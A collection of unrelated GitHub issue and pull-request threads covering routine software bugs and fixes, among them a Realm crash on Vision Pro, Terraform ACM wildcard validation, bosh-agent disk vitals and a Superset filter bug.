Update include dirs in prow config

Related: https://github.com/kubeflow/tf-operator/issues/1323.
In order to trigger the CI AWS Pipeline we should update include_dirs with the latest folder structure.
cc @kubeflow/wg-training-leads @deepak-muley

Nice improvement!
/lgtm
/approve


App Crashes with 0xdead10cc on Vision Pro When Using @ObservedResults under App Group

How frequently does the bug occur?
Always
Description
Hello everyone!
Although I'm aware that the 0xdead10cc issue has been extensively discussed (e.g., #8017, #7863, #7053, #6861, etc.), I believe the problem I'm encountering is slightly different and can be reproduced 100% of the time, which is why I've decided to bring it up.
I've noticed that on the Vision Pro, if my Realm database is stored within an App Group, then holding any observation to Realm in the app will lead to a 100% crash when entering the background. This means that if your database is within an App Group, even the most basic SwiftUI examples cannot function properly on visionOS:
// official SwiftUI example
struct ContactsView: View {
    @ObservedResults(Person.self) var persons // ←💥 causes a 0xdead10cc crash on visionOS in App Group

    var body: some View {
        List {
            ForEach(persons) { person in
                Text(person.name)
            }
            .onMove(perform: $persons.move)
            .onDelete(perform: $persons.remove)
        }.navigationBarItems(trailing:
            Button("Add") {
                $persons.append(Person())
            }
        )
    }
}

More specifically, the app will 100% crash with either a 0xdead10cc error or a RUNNINGBOARD<PHONE_NUMBER> error upon entering the background, provided the following conditions are met:

The app utilizes @ObservedResults or any other Realm observation object.
The realm file is located in an App Group container.
The app is running on a physical Vision Pro device, not on a simulator.
The app is a native visionOS app, rather than an compatible iOS app.
The Xcode debugger is not attached to the app.

Stacktrace & log output
Incident Identifier: A1FA1A77-0CC6-409B-B555-FFDDD2F26544
CrashReporter Key:   1b2668797ebb0d3ce434ac760fbcd8168635b1bb
Hardware Model:      RealityDevice14,1
Process:             RealmFileLockTest [756]
Path:                /private/var/containers/Bundle/Application/FA8A9582-4DAA-4600-BEB4-D24CC7740D31/RealmFileLockTest.app/RealmFileLockTest
Identifier:          io.gongzhang.RealmFileLockTest
Version:             1.0 (1)
Code Type:           ARM-64 (Native)
Role:                unknown
Parent Process:      launchd [1]
Coalition:           io.gongzhang.RealmFileLockTest [784]

Date/Time:           2024-03-27 15:37:11.8581 +0800
Launch Time:         2024-03-27 15:37:03.0253 +0800
OS Version:          xrOS 1.1.1 (21O224)
Release Type:        Beta
Report Version:      104

Exception Type:  EXC_CRASH (SIGKILL)
Exception Codes: 0x0000000000000000, 0x0000000000000000
Termination Reason: RUNNINGBOARD<PHONE_NUMBER>

Triggered by Thread:  0

Thread 0 name:   Dispatch queue: com.apple.main-thread
Thread 0 Crashed:
0   libsystem_kernel.dylib        	       0x24457a5c8 mach_msg2_trap + 8
1   libsystem_kernel.dylib        	       0x2445826b4 mach_msg2_internal + 80
2   libsystem_kernel.dylib        	       0x244582948 mach_msg_overwrite + 436
3   libsystem_kernel.dylib        	       0x244582788 mach_msg + 24
4   CoreFoundation                	       0x1a10e09b8 __CFRunLoopServiceMachPort + 160
5   CoreFoundation                	       0x1a10dac70 __CFRunLoopRun + 1208
6   CoreFoundation                	       0x1a10da394 CFRunLoopRunSpecific + 608
7   GraphicsServices              	       0x1dc9da4f8 GSEventRunModal + 164
8   UIKitCore                     	       0x22c67c720 -[UIApplication _run] + 888
9   UIKitCore                     	       0x22c680f80 UIApplicationMain + 340
10  SwiftUI                       	       0x1b1c57ca8 0x1b0b28000 + 18021544
11  SwiftUI                       	       0x1b1c57b04 0x1b0b28000 + 18021124
12  SwiftUI                       	       0x1b18084f4 0x1b0b28000 + 13501684
13  RealmFileLockTest             	       0x1022bf060 static RealmFileLockTestApp.$main() + 40
14  RealmFileLockTest             	       0x1022bf10c main + 12
15  dyld                          	       0x23da918b8 start + 2204

Can you reproduce the bug?
Always
Reproduction Steps
I have provided a sample project along with the steps to reproduce the issue. The sample project is quite straightforward—it uses @ObservedResults and stores the database in an App Group.
Steps to reproduce can be found here: https://github.com/gongzhang/RealmFileLockTest/tree/main?tab=readme-ov-file#steps-to-reproduce
Version
v10.49.1
What Atlas Services are you using?
Local Database only
Are you using encryption?
No
Platform OS and version(s)
visionOS 1.0-1.1.1 are confirmed
Build environment
Xcode version: 15.3
Dependency manager and version: XCFramework and SPM

I also run into this. Ever solve it? Seems like Realm considers it working or user error

@aehlke I resolved the issue by moving the Realm database out of the shared group. I still use the shared group to exchange data between processes, but I never open a Realm database file within the shared group. Additionally, I utilize UserDefaults to implement observation.
Overall, any flock() in the shared group will lead to a background crash.

Looks like we aren't using the emulated file lock that we wrote for iOS on visionOS and need to be. This doesn't fix all of the problems, but does make it so that merely reading from an already-open Realm won't kill the process.


[Draft]

This is a draft PR, not yet ready for review!

Motivation
(Write your motivation for proposed changes here.)
Have you read the Contributing Guidelines on pull requests?
(Write your answer here.)
Test Plan
(Share your test plan here. If you changed code, please provide us with clear instructions for verifying that your changes work.)
Related PRs
(If this PR adds or changes functionality, please take some time to update the docs at https://github.com/diem/diem/tree/master/developers.diem.com, and link to your PR here.)

Closing this, as it's not longer needed.


when we reconstruct vcfs during the germline filter step, we excluded the 2 last columns

FORMAT and this wierd 20 field dont make the cut...
probably want to sub out my janky vcf parsing/writing functions for something more official
ie. pyVCF or VCFpy

none of these germline_filtered fuckers are gonna work with downstream modules (ie. get_aa_mutations, get_mutationcounts_table) bc they have the wrong number of header fields

Fixed in #rohan-dev

Fixed by 48fd43fc4b6634fb1ec0b4d4e2286164125b9454.


Add ability to stick extension view to the top.

Add ability to stick extension view to the top and not disappear with the navigation bar.

Thanks for the PR! I will take a look at it, but I can't merge it with the xccheckout file changes, because they are irrelevant.
I would also appreciate it if you can expand on the Readme file, so new users are aware of the feature. Adding a gif like the ones present would be awesome!

No problem, I took out the xccheckout file changes and updated the read me file.

Awesome! That was fast.
I'll try to hold up my end of the bargain, then.
Sent from my SMTP server

On Jun 11, 2015, at 8:35 PM, modastic<EMAIL_ADDRESS>wrote:
No problem, I took out the xccheckout file changes and updated the read me file.
―
Reply to this email directly or view it on GitHub.

Sorry it took me so long, will update the podspec as well, this needs a new release.


airline doesn't load in vim 8.0

Hello,I meet some troubles.
environment

vim: 8.0.5
vim-airline: latest
OS: Windows 10 64 bit

actual behavior
I use dein to manage the plugins, other plugins i use seem well.But airline doesn't load, no airline variable is avavilable and no airline symbols appears.
Here is part of my config file related with airline which works in vim74.
call dein#add('vim-airline/vim-airline')
call dein#add('vim-airline/vim-airline-themes')
"===========================================================
"Specific settings for airline
"===========================================================
set laststatus=2
"set nocompatible
let g:airline_powerline_fonts = 1
let g:airline#extensions#tabline#enabled = 1
set rop=type:directx,gamma:1.0,contrast:0.5,level:1,geom:1,renmode:4,taamode:1
"----------------------------------            air-line_options

Any ideas?

what is the value of your statusline setting?

@chrisbra It's empty.

Then please open an issue with dein, it's an issue with your plugin manager then.

After testing, I have confirmed it is.Thank you.
closed.


Add Stormkit.io to documentation within Deployment>Plattform Guides

What kind of change does this PR introduce? (check at least one)

[ ] Bugfix
[ ] Feature
[ ] Code style update
[ ] Refactor
[x] Docs
[ ] Underlying tools
[ ] Other, please describe:

Does this PR introduce a breaking change? (check one)

[ ] Yes
[x] No

Other information:

I just added the documentation on how to deploy a vue app to Stormkit.io. Stormkit is a provider similar to Vercel, Netlify or GitHub Pages.


Enable clusterChecksEnabled in datadog

Enable metrics to be gatherd about the pods, like number of replicas.
Set replicas: 2 in the clusterAgent deployment

Getting errors like:
2021-08-31 14:14:01 UTC | CLUSTER | WARN | (pkg/clusteragent/clusterchecks/dispatcher_main.go:136 in add) | No available node to dispatch kubernetes_state_core:e7dac77010842ea4 on, will retry later
2021-08-31 14:14:04 UTC | CLUSTER | INFO | (pkg/api/healthprobe/healthprobe.go:73 in healthHandler) | Healthcheck failed on: [clusterchecks-dispatch]

Feels like I'm missing some agent config to get this to work...

I don't think this is needed, it seems like we are getting all the data we should now with the updated operator. I will close this.


copy literally every feature in Redis

nuff said

https://redis.io/topics/introduction
https://www.javatpoint.com/features-of-redis


Refactor if condition in miq_policy_controller

Refactored tree_select method if condition in miq_policy_controller

I kind of like the original code better, personally, seems more readable...I'll leave this up to @martinpovolny

@Jaganathancse Thank you for your contribution, thought we'll stick to the old code here, since
it is more readable.


HYP-132: regulators and energy's views

What
Regulators view, along with Emma and some minos in regards to data renderings. Please refer to the screenshots of PR-66 (previous one for more details description)

FYI some screenshots might be a little out of date in terms of column names

Screenshots - NEW

Screenshots - OLD

@dc-andysign I still do not understand why you have requested changes. I hope you do not I ask. Worried that I might have missed something as in your comments there were no changes mentioned just questions. Can you please confirm your changes request?

@dc-andysign can not reply to your comment.

addressed
replied in the comment, would like to get a scenario as your calculation was impossible as it / 10000 integer will never be with such a fraction


Numeric filters show duplicate values and UI issue when scrolling

In numeric chart filters and dashboard filters, after typing and selecting a value in the filter, duplicate values start to show up.
How to reproduce the bug

Go to a chart
Add a filter using a numeric column
Type a value into the filter, then select the filter value
Type another value into the filter and select the filter value

Expected results
One of each value with the selected ones highlighted
Actual results
Duplicate values start to appear.
After scrolling up and down, more duplicate values show up and replace the actual filter values
Screenshots
https://github.com/apache/superset/assets/10627051/ee13139f-0723-49e5-9e25-2fc55035caff
Environment
(please complete the following information):

browser type and version: Chrome
superset version: master
python version: python --version
node.js version: node -v
any feature flags active:

Checklist
Make sure to follow these steps before submitting your issue - thank you!

[ ] I have checked the superset logs for python stacktraces and included it here as text if there are any.
[x] I have reproduced the issue with at least the latest released version of superset.
[x] I have checked the issue tracker for the same issue and I haven't found one similar.

cc @michael-s-molina in case you're interested in taking a look - wasn't sure if this might be related to the recent work on typed values in filters

Assigned to myself. Thanks @yousoph!

Hey @yousoph. It's an Ant Design limitation. I opened an issue here and got a response that there's a warning indicating that we can't use numeric values when the Select mode is tags. We'll need to convert numeric columns to strings before using them in the component and then convert them back to numbers when applying the filters 😞


Document compute_commitment_to_aggregated_interpolation_poly()

I feel like compute_commitment_to_aggregated_interpolation_poly() is a bit complicated. I'm not sure if it can be simplified in terms of code, but IMO the documentation can be improved, so that the reader can more easily understand what's happening.
This opinionated PR adds some documentation and renames some variables. This PR should not change the logic at all.

Thanks for review!


[windows] File Description

Hi there,
how cheng File Description in windows ?

i try change File Description in windows\runner\Runner.rc but hot restart has error !

@mbfakourii
Check this similar issue and underlying solution to see if it helps.
Also, this question is better suited for support channels, so if linked solution doesn't work for you, please create a new question there.
Closing from here.


Remove wallet unlock from masternode cli commands

I propose to remove unlock option from mastenrode cli commands and to keep unlock functionality in walletpassphrase command only (which locks wallet back after specified timeout).

utACK


Example app - Cupertino Wallet Widget

Create the Flutter version of the iOS Wallet Button and WalletView.
It should be a Stateful Widget that will use the wallet list from the home screen and update it using the Navigator.pop  returning parameters.
Acceptance criteria:
1 - Walle Widget with iOS UI working for creating and switching wallets.

@eduardasteyn

@eduardasteyn

try to remove initState
https://dart.dev/guides/language/language-tour#spread-operator
https://www.figma.com/file/SEtztgSYL3x9cQeScAwcVL/sample-apps?node-id=1%3A31

move this issue and all related to example app to the examples repository


[devtool] publish latest devtool extension

Devtools chrome extension is working, it's just not being published
last version is 0.3.1 from October or 2023

we need a privacy policy page that is compliant with https://developer.chrome.com/docs/webstore/program-policies/privacy/
https://www.freeprivacypolicy.com/blog/chrome-apps-extensions-privacy-policy/

@mykola-vrmchk here's the link: https://dxos.org/privacy/
can you move this forward?


fix Fix function now upgrade compatible

Proposed changes
Issue Number: close #xxx
https://github.com/apache/doris/pull/22321 was forgotten to pick to branch-2.0 and make upgrade safe.
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall

run buildall

run p0

run external


[Suggestion] add option to specify oredict entries in oreregistry.json

just so that items can have names that dont have to be exactly like the oredict entry for the item to be recognised by other mods.

Probably not a bad idea, there are a few thinks that should be improved in
the ore registry tbh ^^
majijn<EMAIL_ADDRESS>schrieb am Mo., 6. Nov. 2017, 00:20:

just so that items can have names that dont have to be exactly like the
oredict entry for the item to be recognised by other mods.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/BloodWorkXGaming/ExNihiloCreatio/issues/44, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AHwpZkxTj2A78gBoKmzzrpF67RV0BrPUks5szkK1gaJpZM4QSlEq
.

While I agree that the registries could be greatly improved: in the mean time if you need this capability crafttweaker can be used to register items into whatever oredict entry you want.

This got added just now, you can now specify the oredict name in the json with "oredictName": "nameblabla" but there will still be the different basenames, like pice, dust, ore, etc which can be configured in the main config.


ruby sdk 1.3.1 release notes added

Thanks for contributing to the Harness Developer Hub! Our code owners will review your submission.
Description

Please describe your changes: \ ruby sdk 1.3.1 release notes added
Jira/GitHub Issue numbers (if any): \ FFM-11740
Preview links/images (Internal contributors only): __________________

PR lifecycle
We aim to merge PRs within one week or less, but delays happen sometimes.
If your PR is open longer than two weeks without any human activity, please tag a code owner in a comment.
PRs must meet these requirements to be merged:

[X] Successful preview build.
[X] Code owner review.
[X] No merge conflicts.
[X] Release notes/new features docs: Feature/version released to at least one prod environment.

Please check the Execution Link of the Pipeline for the Website Draft URL. This is located in the Preview Step behind the Harness VPN and also is available in #hdh_alerts. E.g Website Draft URL: https://unique-id--harness-developer.netlify.app. Current Draft URL is: https://6682781e82106b19d6b9bbfc--harness-developer.netlify.app


PR: issues 135 + 136

blocker: final data for the sidebar.

Overall the code and new styling is good work, but there are a couple of code cleanups required. And state persistence looks still the not working version. And also please provide a preview link.

closed as #204


Fix codecov

Make sure that:

[ ] You have read the contribution guidelines.
[ ] You submit test cases (unit or integration tests) that back your changes.
[ ] Your local test passed mvn clean install -Dmaven.javadoc.skip=true.

Codecov Report

Merging #628 (2e579dc) into master (5aec394) will increase coverage by 3.33%.
The diff coverage is 52.57%.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9f50fa4...2e579dc. Read the comment docs.


Have vitals check for mount points (fixes #245)

This PR fixes #245, introducing a call to IsMountPoint() in order to exclude from vitals the existing directories where no disk is actually mounted.
The problem is a bit tricky because Windows and dummy platforms don't have any disk mounter. The proposed solution here, is based on an optional diskMounter dependency in the vitals service, that can be nil.
Unit tests for the vitals service have also been refactored a bit, in order to be clearer and adopt standard easy-to-read structure.
Cheers

Hey @bgandon,
We did some investigation into the issue too. We are not seeing the problem with either a freshly deployed bionic or xenial stemcell. But we do see the problem if we attach a persistent disk, and then remove it, or if we simply create /var/vcap/store as a directory on the ephemeral disk.
The proposed change, does resolve the problem, although it also introduces a lot of additional complexity.
What are your thoughts on a smaller change to UnmountPersistentDisk such that when it unmounts the disk from /var/vcap/store, it also removes /var/vcap/store from the disk.
This should resolve the issue we're seeing in our testing, but your proposed solution solves an additional use case, which is a bosh release manually creating /var/vcap/store and putting files in there.
We're not totally sure if that is a supported use case or not. It does sound like maybe what is happening in the original issue #245 since they said they did a recreate, which if you don't have a persistent disk, should leave you without a /var/vcap/store since that should only be created by the agent when mounting a disk.
Thoughts?

CC: @ChrisMcGowan if you have thoughts on the above investigation too

We are not seeing the problem with either a freshly deployed bionic or xenial stemcell.

Yes indeed, because the /var/vcap/store directory is not present of the base VM image from the Stemcell.

your proposed solution solves an additional use case, which is a bosh release manually creating /var/vcap/store and putting files in there.

Yes indeed, and this is common place in the vast majority of Bosh jobs. Sometimes even if they don't need persistent storage, because the Release Authors have just used standard one-fit-all boilerplate Bash code.
See for example this template from S&W bosh-gen, which has been very popular:
https://github.com/orange-cloudfoundry/cassandra-boshrelease/blob/master/jobs/cassandra/templates/helpers/ctl_setup.sh#L37-L44
So, we need to consider here that there's nothing that prevents any Bosh jobs from creating their own data into /var/vcap/store at any time.
Would we only remove that directory when unmounting the disk, then we wouldn't address the actual issue. And worse than that, the problem would arise in even more surprising ways for our users. And surprise is exactly what we try to avoid. Plus, we need not adding more fragile logic in the Bosh Agent code base, and instead we need to address precisely the root causes for the problems we try to solve.
Obviously, the solution I'm contributing here is not as simple as one could dream of. I realized that quite soon, while scratching my head (quite hard) to find the most reasonable changes in terms of correctness and best fit into the object design of the code base. But this also explains why the issue has kept unaddressed for so many years.
The basic problem we're not supposed to solve here, is that the Windows object hierarchy is different from the one for Linux in many ways. Thus designing a solution cannot be simple. But here, we don't fall into the trap of fixing this design inconsistency.

Thanks @bgandon! LGTM

Great, thank you Ruben! 👍

@bgandon this change caused the following CI failure in our windows unit tests:
------------------------------
+ Failure [0.006 seconds]
Vitals service when no persistent disk is mounted [It] does not return vitals for persistent disk
C:/var/vcap/data/worker/work/containers/00000hc3qjn/tmp/build/1944c6a2/bosh-agent/platform/vitals/service_test.go:163

  	Error Trace:	service_test.go:167
  	            				runner.go:113
  	            				runner.go:64
  	            				it_node.go:26
  	            				spec.go:215
  	            				spec.go:138
  	            				spec_runner.go:200
  	            				spec_runner.go:170
  	            				spec_runner.go:66
  	            				suite.go:79
  	            				ginkgo_dsl.go:238
  	            				ginkgo_dsl.go:213
  	            				vitals_suite_test.go:12
  	Error:      	Should be false
  	Test:       	Vitals service when no persistent disk is mounted does not return vitals for persistent disk
  	Messages:   	Expected object with keys "ephemeral, persistent, system" to not have key "persistent"

  C:/var/vcap/data/worker/work/containers/00000hc3qjn/tmp/build/1944c6a2/bosh-agent/vendor/github.com/cloudfoundry/bosh-utils/assert/json_matchers.go:46
------------------------------

Summarizing 1 Failure:

[Fail] Vitals service when no persistent disk is mounted [It] does not return vitals for persistent disk
C:/var/vcap/data/worker/work/containers/00000hc3qjn/tmp/build/1944c6a2/bosh-agent/vendor/github.com/cloudfoundry/bosh-utils/assert/json_matchers.go:46

Would you be so kind and fix this test?

We managed to fix the failing test with these 2 commits:
https://github.com/cloudfoundry/bosh-agent/commit/2813e56f162a819241b7a284c1b7ed611645740d
https://github.com/cloudfoundry/bosh-agent/commit/7f7381d0189f8760a39fe01b7ddde96ee62a0b6a
Just a windows path issue


Verbose logging option

Basically console.log() everything that's going on by setting verbose: true in the options.

Nice MD Editor!  However, can there be a way (or is there a way) to turn off console logging completely?  I have a page with many dynamically created simplemde objects and when it's rendered I get way too much logging.  I'd prefer zero logging in production.
Example (This all comes from simplemde.  There are hundreds of lines.):
4
Object { name="ordered-list",  className="fa fa-list-ol",  title="Numbered List",  more...}
5
)
Object { name="unordered-list",  className="fa fa-list-ul",  title="Generic List",  more...}
6
Object { name="table",  className="fa fa-table",  title="Insert Table",  more...}
7
8
Object { name="link",  className="fa fa-link",  title="Create Link",  more...}
9
...etc...etc...

@oldCoderException see #280.

@WesCossick , would you mind publishing a new release so that we can get that fix for #280 that you merged?


Decrypt on join or manual select not working

When accessing decrypted column in a join, or when selecting manually, it will return the raw encrypted data.
i'm using the annotation
/**
 * @var string
 *
 * @ORM\Column(name="iban", type="text")
 * @Encrypted
 */
protected $iban;

queryBuilder = $this->objectManager->getRepository('CoreBundle:iban')->createQueryBuilder('i');
$data = $queryBuilder->getQuery()->getResult();

Works like a charm
queryBuilder = $this->objectManager->getRepository('CoreBundle:user')->createQueryBuilder('u');
$queryBuilder->join('u.ibans', 'i');
$data = $queryBuilder->getQuery()->getResult();

AND
queryBuilder = $this->objectManager->getRepository('CoreBundle:iban')->createQueryBuilder('i');
$queryBuilder->select('i.iban');
$data = $queryBuilder->getQuery()->getResult();

wont work

I've noticed the same issue. The root cause in my case was two folds.

the postLoad() event handler was relying on getEntity() to check if this is the entity that interests it (e.g. containing the Encrypted annotation). But as you've experienced, on associated entity, Doctrine lazy loads it and wrap the entity inside a proxy class, which then fails the getEntity() match.
Second problem is on Doctrine, the postLoad() triggers even before the associated entity is hydrated, thus even if the getEntity() can somehow match it, the entity is still empty.

We need to find a better binding/listener hook implementation different to how it's currently done.

I have fixed this issue in my fork https://github.com/ambta/DoctrineEncryptBundle. This by checking on relationships in the entity and use the get method to recursively processes that entity as well. I also changed it a little by using postUpdate and preUpdate because there were some issues in different occasions using the prePersist. The proxy classes issue can easily be fixed by using getClass from Doctrine's ClassUtils.


Updates version of InfiniteScroll to 2.3.1

Upgrade the InfiniteScroll plugin used to latest stable 2.3.1

@gsomoza @damian-pastorini I have reverted the template path change. Should be all good to merge.


checker: Disable size check for now

What is the purpose of this change? What does it change?
Disable the size test in the check for now. It should have been a warning instead of an error: it's not a problem during restore and there's nothing users can (or should) do.

Was the change discussed in an issue or in the forum before?
Closes #1799

Codecov Report

Merging #1887 into master will decrease coverage by 0.08%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1887      +/-   ##
==========================================
- Coverage   51.02%   50.93%   -0.09%
==========================================
  Files         169      169
  Lines       13102    13097       -5
==========================================
- Hits         6685     6671      -14
- Misses       5410     5425      +15
+ Partials     1007     1001       -6

Impacted Files
Coverage Δ

internal/checker/checker.go
64.54% <ø> (-3.1%)
:arrow_down:

internal/archiver/blob_saver.go
92.59% <0%> (-2.47%)
:arrow_down:

internal/archiver/file_saver.go
88.59% <0%> (+4.38%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 73153db...754482f. Read the comment docs.


Validation records are not created for alternative domains with wildcard

Hi, there,
I have these configs
module "acm" {
  source = "terraform-aws-modules/acm/aws"
  version = "~> v2.0"
  providers = {
    aws = aws.useast1
  }

  domain_name = var.domain
  zone_id     = var.zone_id

  subject_alternative_names = compact(
    [
      "*.alerts.${var.domain}",
      "*.info.${var.domain}",
      "*.news.${var.domain}",
      "*.${var.domain}",
    ],
  )

  wait_for_validation = true #have to wait for validation process since further I use acm cert in CF distribution creation

  tags = {
    Name = "${var.domain}"
  }
}

When I'll apply it will fail with error about missing validation records for all alternative names.
If I change wait_for_validation to false I can see outputs like:

distinct_domain_names = [
  "mydomain.com",
  "alerts.mydomain.com",
  "info.mydomain.com",
  "news.mydomain.com",
]
this_acm_certificate_arn = arn:aws:acm:us-east-1:XXXXXXXXXXXXX:certificate/xxxxxxxxxxxxxxx
this_acm_certificate_domain_validation_options = [
  {
    "domain_name" = "mydomain.com"
    "resource_record_name" = "12345.mydomain.com."
    "resource_record_type" = "CNAME"
    "resource_record_value" = "y12345.acm-validations.aws."
  },
  {
    "domain_name" = "*.mydomain.com"
    "resource_record_name" = "12345.mydomain.com."
    "resource_record_type" = "CNAME"
    "resource_record_value" = "y12345.acm-validations.aws."
  },
  {
    "domain_name" = "*.alerts.mydomain.com"
    "resource_record_name" = "xxxxxxxxxxxxxxxxxxxx1.alerts.mydomain.com."
    "resource_record_type" = "CNAME"
    "resource_record_value" = "yyyyyyyyyyyyyyyyyyyy1.acm-validations.aws."
  },
  {
    "domain_name" = "*.info.mydomain.com"
    "resource_record_name" = "xxxxxxxxxxxxxxxxxxxx2.info.mydomain.com."
    "resource_record_type" = "CNAME"
    "resource_record_value" = "yyyyyyyyyyyyyyyyyyyy2.acm-validations.aws."
  },
  {
    "domain_name" = "*.news.mydomain.com"
    "resource_record_name" = "xxxxxxxxxxxxxxxxxxxx3.news.mydomain.com."
    "resource_record_type" = "CNAME"
    "resource_record_value" = "yyyyyyyyyyyyyyyyyyyy3.acm-validations.aws."
  },
]
validation_domains = [
  {
    "domain_name" = "mydomain.com"
    "resource_record_name" = "12345.mydomain.com."
    "resource_record_type" = "CNAME"
    "resource_record_value" = "y12345.acm-validations.aws."
  },
]
validation_route53_record_fqdns = [
  "12345.mydomain.com",
  "12345.mydomain.com",
  "12345.mydomain.com",
  "12345.mydomain.com",
]

As you can see validation_domains contains only main domain but not alternative names.
Further investigations brought me to https://github.com/terraform-aws-modules/terraform-aws-acm/blob/1d8e823cd08c9dcd2ffd2bd22a509c7633db253e/main.tf#L6
The contains function will return false for everything except main domain since the domain names in this_acm_certificate_domain_validation_options have a wildcard and in local.distinct_domain_names it's replaced.
When I changed it to
validation_domains = [for k, v in aws_acm_certificate.this[0].domain_validation_options : tomap(v) if contains(local.distinct_domain_names, replace(v.domain_name, "*.", ""))]
everything seems created correctly.
Do I do something wrong or is it an issue?
Thanks!
UPD:
And also change in https://github.com/terraform-aws-modules/terraform-aws-acm/blob/1d8e823cd08c9dcd2ffd2bd22a509c7633db253e/main.tf#L24
length(local.distinct_domain_names)+1

This is happening for me as well.
I just opened a PR with the changes proposed: https://github.com/terraform-aws-modules/terraform-aws-acm/pull/32

Thanks @ElenaForester for opening this issue! I updated the example code to make sure that this is now working as expected.
#32 is merged and v2.5.0 of this module has been just released.


Delete pr branch test

testing merge workflow.

Repoman Generation Results
Repoman pushed changes to remotes for the following projects:
Project: todo-nodejs-mongo
Remote: azure-samples
Branch: pr/18
You can initialize this project with:
azd init -t kaizentm/todo-nodejs-mongo -b pr/18

View Changes | Compare Changes

Project: todo-python-mongo
Remote: azure-samples
Branch: pr/18
You can initialize this project with:
azd init -t kaizentm/todo-python-mongo -b pr/18

View Changes | Compare Changes


Missing spatial data isn't interpolating due to masks not being implemented

This is an expected problem to be addressed, that data won't interpolate. Currently we're not incorporating masks that are backref'd against the application implementation, which is not implemented elsewhere but I haven't yet incorporated it into this command:
preprocess_missing_spatial -n siconca data/osi_sic/dataset_config.month.hemi.north.json

  INFO:root:Attempting to instantiate SICDatasetConfig with loaded configuration
  INFO:root:Got 4 filenames to open dataset with!
  INFO:root:Processing missing dates for siconca
  INFO:root:Interpolating spatial data for 202201
  WARNING:root:Interpolation failed for 202201, assignment will not take place
  INFO:root:Interpolating spatial data for 202202
  WARNING:root:Interpolation failed for 202202, assignment will not take place
  INFO:root:Interpolating spatial data for 202203

This has been addressed, but the interpolation is not reliable with the original algorithm: I have developed a notebook for test case development and will ensure this is corrected (as it's knackering the downstream datasets)


CARDS-1718: All files except the ones in the last instance of a repeatable section are deleted when saving a form

This is another take from #1003.

Tested  3 scenarios:

Steps to reproduce:
create a new questionnaire Q
add a section with the label Section and set recurrent to true
in that section add a question with the text File and dataType=file
create a new form from questionnaire Q
upload a file to the File question
click on + Section to create another instance of the repeatable section
upload a file to the File question from Section #2
save & view

in the form’s view mode:
click on the answer to the first File question to download the uploaded file → download fails
click on the answer to the second File question to download the uploaded file → download is successful

the removal of the cached sectionAnswerState

create new radiology form
select Yes radiation therapy
enter 1 for Weight at start
save
select No radiation therapy (but do NOT save)
select Yes radiation therapy
enter 2 for Weight at start
save
reload => 1 is displayed
in the node browser there is only one answer section, but all the answers inside it are doubled

the "previous values" bug to happen for recurrent sections:

start in LFS mode
edit the Radiotherapy questionnaire, set the second section (the one with Weight at start of radiation therapy question) to be recurrent, save and close
create a new Radiotherapy form
set Radiation therapy to Yes, save
set Weight to 1, add a new section instance, set the Weight to 2, save
set Radiation therapy to No, do not save
set Radiation therapy to Yes, set the Weights to 3 and 4, save & view -> weights are still 1 and 2
unrelated bug: there should be only one instance of the section after switching Yes-No-Yes, but somehow it remembered that two instances were there before


Bug: derive_param_tte() fails for dplyr 1.1.0

What happened?
If dlpyr 1.1.0 is used, some tests for derive_param_tte() fail. They pass for dplyr 1.0.5 (minimum version required by admiraldev) and also for dplyr 1.1.1.
In derive_param_tte()
        full_join(
          mutate(by_groups, temp_dummy = 1),
          mutate(source_datasets[[i]], temp_dummy = 1),
          by = "temp_dummy",
          relationship = "many-to-many"
        ) %>%
        select(-temp_dummy)

should be replaced by
        crossing(
          by_groups,
          source_datasets[[i]]
        )

This is simpler and avoids the dplyr issue.
Session Information
No response
Reproducible Example
No response

I'd like to look into this

I'd like to look into this

Please go ahead. We'd like this completed by end of next week (30th) if possible. Let us know if any issues.

@rossfarrugia should i replace the whole block?
        full_join(           mutate(by_groups, temp_dummy = 1),           mutate(source_datasets[[i]], temp_dummy = 1),           by = "temp_dummy",           relationship = "many-to-many"         ) %>%         select(-temp_dummy)

that's how i understand it from what Ben wrote above, but test it out and see if it gives same results to be sure and still passes all our tests at tests/testthat/test-derive_param_tte.R.


Test on Ruby 3.1

HOMEBREW_BOOTSNAP is not supported for now, as it doesn't work on anything not macOS system Ruby. I will investigate this further soon.

macOS: yes, Cask had issues
Ubuntu: don't think there was really anything flagged on this occasion, depends how much you value the extend/os/linux stuff.

@Bo98 Cool. My temptation would be that we consider adding these tests and then just defaulting (all?) Linux CI to use the newest Ruby we plan on using and have this split for macOS. Thoughts?

Until the point portable Ruby moves to 3.1, it's worthwhile having at least one of Linux CI (not sure which one) running on 2.6 since adjustments for Ruby 3 can break 2.6.

Going forward might be good to have a policy of how we handle this. If we're doing a switch every year, do we have it so that when we switch to 3.1 default we have one or two jobs testing 3.2 ahead of time (so some on "default" and a couple on "default + 1").

@Bo98 I think once we're back to supporting a specific major/minor version combination I think we just keep CI at the lowest version and let people use newer ones but flag it in brew doctor etc. and tell them to file PRs to fix. I don't want us to be actively supporting a too wide range of versions (which is also why newer versions are more appealing)

Was more to prepare for when we migrate but yeah I'm guessing most Ruby versions don't have compatibility issues. In the scenario of a theoretical Ruby 4, it might be worth testing that ahead of time.

I think we can move pretty quickly with the migration tbh. All the tests pass so it'll be a case of building a portable Ruby, adding an env to use it and most of the testing work will be areas we don't have CI coverage for (hopefully little) and individual formulae and casks (though I reckon kwarg hash usage there is minimal to none).


Remove a bunch of ensured-absent stuff

Also removed the govuk_java::oracle8 class as nothing uses it any more.

We need to remove the davidpye and suthagahrt users as 2ndline go through the leaver's tickets for them. Indeed, there's currently a PR for one of those. I don't know what's best, to remove them in this and then carry on with the leaver's process, or do the leavers process in its entirety?

Probably to do the leavers process in its entirety.  I'll not remove their manifests in this PR.


Chrome details element doesn't correctly propagate box-sizing

There is a bug in Chrome where inheritance of box-sizing does not happen correctly with the details element. This results in all input (and every other element that is width: 100%)  overflowing the details.
This is demonstrated by this codepen.
The solution is to add:
details > * {
  box-sizing: border-box;
}

Would post a PR, but can't get grunt working locally and don't have time to fix it now.

Would post a PR, but can't get grunt working locally and don't have time to fix it now.

We're off Grunt now and on npm scripts :). Pull the latest, update bundler, npm install, and you should be good to go.

